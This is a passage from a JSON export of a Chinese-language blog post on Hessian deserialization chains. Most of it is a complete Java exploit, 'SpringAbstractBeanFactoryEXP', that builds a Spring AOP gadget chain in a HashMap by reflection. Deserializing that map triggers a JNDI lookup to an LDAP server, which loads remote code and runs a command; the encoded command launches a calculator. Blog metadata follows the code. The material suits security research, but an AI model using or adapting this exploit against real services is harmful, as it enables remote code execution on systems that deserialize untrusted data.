java.lang.reflect.Field;\nimport java.util.HashMap;\n\n\/**\n * SimpleJndiBeanFactory.getBean() (org.springframework.jndi.support)\n * AbstractBeanFactoryPointcutAdvisor.getAdvice()  (org.springframework.aop.support)\n * AbstractPointcutAdvisor.equals()   (org.springframework.aop.support)\n * HotSwappableTargetSource.equals()    (org.springframework.aop.target)\n * HashMap.putVal()\n * HashMap.put()\n *\/\npublic class SpringAbstractBeanFactoryEXP {\n    public static void main(String[] args) throws Exception {\n        System.setProperty(\"com.sun.jndi.ldap.object.trustURLCodebase\", \"true\");\n        System.setProperty(\"com.sun.jndi.rmi.object.trustURLCodebase\", \"true\");\n        String evilJndi = \"ldap:\/\/127.0.0.1:1389\/Basic\/Command\/Y2FsYw==\";\n        SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();\n        simpleJndiBeanFactory.addShareableResource(evilJndi);\n        DefaultBeanFactoryPointcutAdvisor advisor1 = new DefaultBeanFactoryPointcutAdvisor();\n        advisor1.setAdviceBeanName(evilJndi);\n        advisor1.setBeanFactory(simpleJndiBeanFactory);\n        AsyncAnnotationAdvisor advisor2 = new AsyncAnnotationAdvisor();\n        HotSwappableTargetSource t1 = new HotSwappableTargetSource(advisor1);\n        HotSwappableTargetSource t2 = new HotSwappableTargetSource(advisor2);\n        HashMap hashMap = new HashMap();\n        \/\/        hashMap.put(t1,\"aaa\");\n        \/\/        hashMap.put(t2,\"bbb\");\n        Class nodeC;\n        try{\n            nodeC = Class.forName(\"java.util.HashMap$Node\");\n        } catch (ClassNotFoundException e) {\n            nodeC = Class.forName(\"java.util.HashMap$Entry\");\n        }\n        Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);\n        nodeCC.setAccessible(true);\n        Object node1 = nodeCC.newInstance(0, t1, \"test\", null);\n        Object node2 = nodeCC.newInstance(1, t2, \"test\", null);\n        Object tbl = Array.newInstance(nodeC, 2);\n        Array.set(tbl, 0, node1);\n        Array.set(tbl, 1, node2);\n        Field table = HashMap.class.getDeclaredField(\"table\");\n        table.setAccessible(true);\n        table.set(hashMap, tbl);\n        Field size = HashMap.class.getDeclaredField(\"size\");\n        size.setAccessible(true);\n        size.set(hashMap, 2);\n\n        \/\/ \u5e8f\u5217\u5316\n        SerializerFactory serializerFactory = new SerializerFactory();\n        serializerFactory.setAllowNonSerializable(true);\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        HessianOutput ho = new HessianOutput(baos);\n        ho.setSerializerFactory(serializerFactory);\n        ho.writeObject(hashMap);\n\n        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());\n        new HessianInput(bais).readObject();\n    }\n}<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Hessian \u53cd\u5e8f\u5217\u5316\u94fe \u57fa\u7840\uff1a \u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\uff1a package com.example; import [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12,3],"tags":[],"class_list":["post-336","post","type-post","status-publish","format-standard","hentry","category-java","category-3"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/336","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=336"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/336\/revisions"}],"predecessor-version":[{"id":338,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/336\/revisions\/338"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=336"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=336"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=336"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}